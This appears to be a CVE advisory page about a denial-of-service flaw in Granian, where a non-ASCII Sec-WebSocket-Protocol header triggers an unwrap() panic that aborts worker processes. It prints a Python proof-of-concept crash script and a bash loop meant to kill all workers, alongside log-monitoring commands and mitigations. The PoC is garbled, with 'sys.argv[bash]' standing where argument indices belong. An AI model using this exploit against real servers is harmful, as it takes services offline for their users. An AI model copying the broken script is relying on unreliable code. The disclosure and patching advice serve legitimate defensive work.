Granian, Denial of Service, (no CVE) (medium)

Listen to this Post

How the CVE works:

The vulnerability resides in Granian’s WebSocket scope construction path within src/asgi/utils.rs lines 122-125. When an unauthenticated client sends a WebSocket upgrade request, Granian parses the Sec-WebSocket-Protocol header. The function HeaderValue::to_str() is called to convert the header value to a string. This function returns an error (Err) if the header contains any bytes outside the visible ASCII range (e.g., non-ASCII or control characters). After calling to_str(), the code immediately calls .unwrap() on the Result. In Rust, unwrap() panics when given an Err. In release builds, Granian sets panic = “abort”, causing the entire worker process to terminate immediately upon panic. The crash occurs before the ASGI application is ever invoked, so no application-level authentication or routing can intercept the request. A single crafted request kills one worker process. By repeating the same malformed request across multiple workers (e.g., with a simple loop), an attacker can take down all workers and render the service completely offline. This is a classic unauthenticated remote Denial of Service (DoS) vector that requires no special privileges or prior access.

dailycve form:

Platform: Granian
Version: Versions before patch
Vulnerability: WebSocket header crash
Severity: Medium
date: 2026-05-06

Prediction: Next release candidate

What Undercode Say:

Analytics

Check current Granian version
granian --version
Monitor worker crashes in logs
journalctl -u granian-service -f | grep "Unexpected exit"
Count crash events per minute
grep "worker abort" /var/log/granian/error.log | wc -l
PoC crash script (ws-subproto-crash.py)
import base64, os, socket, sys
host, port, path = sys.argv[bash], int(sys.argv[bash]), sys.argv[bash]
key = base64.b64encode(os.urandom(16)).decode()
req = (
f"GET {path} HTTP/1.1\r\nHost: {host}:{port}\r\n"
"Upgrade: websocket\r\nConnection: Upgrade\r\n"
f"Sec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n"
).encode() + b"Sec-WebSocket-Protocol: \x80\xff\r\n\r\n"
with socket.create_connection((host, port), timeout=5) as s:
s.sendall(req)
print(s.recv(4096))

How Exploit:

Single worker crash
python ws-subproto-crash.py 127.0.0.1 8000 /
Multi-worker DoS loop
for i in {1..100}; do python ws-subproto-crash.py 127.0.0.1 8000 / & done

Protection from this CVE:

  • Upgrade Granian to version containing the fix (commit after bdd5b0f)
  • Use a reverse proxy (nginx, haproxy) to validate/block non-ASCII in WebSocket protocol headers
  • Apply runtime panic handling patch to convert abort into recoverable error
  • Limit WebSocket upgrade requests per client IP using rate limiting
  • Deploy with more workers than necessary and monitor auto-restart

Impact:

  • Unauthenticated remote Denial of Service (DoS)
  • Single crafted request kills one worker, repeated kills all workers
  • Application never reached, so authentication/WAF cannot prevent
  • Service becomes completely unavailable until all crashed workers restart (if auto-restart enabled, still degrades performance)

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top